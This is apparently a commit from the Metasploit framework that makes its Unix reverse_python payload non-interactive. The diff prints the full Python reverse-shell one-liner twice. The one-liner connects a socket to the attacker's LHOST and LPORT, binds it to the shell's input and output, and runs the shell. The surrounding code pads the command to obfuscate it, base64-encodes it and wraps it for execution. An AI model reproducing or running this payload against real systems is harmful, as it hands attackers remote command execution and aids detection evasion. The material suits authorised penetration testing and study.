Land rapid7#4864 @wvu-r7 changes reverse_python to be non-interactive

This avoids sourcing the shell RC scripts, writing history, etc.

Author: Brent Cook

modules/payloads/singles/cmd/unix/reverse_python.rb

@@ -50,7 +50,7 @@ def random_padding
   #
 
   def command_string
-    raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"#{datastore['SHELL']}\",\"-i\"]);"
+    raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\"#{datastore['SHELL']}\")"
     obfuscated_cmd = raw_cmd.gsub(/,/, "#{random_padding},#{random_padding}").gsub(/;/, "#{random_padding};#{random_padding}")
     encoded_cmd = Rex::Text.encode_base64(obfuscated_cmd)
     "python -c \"exec('#{encoded_cmd}'.decode('base64'))\""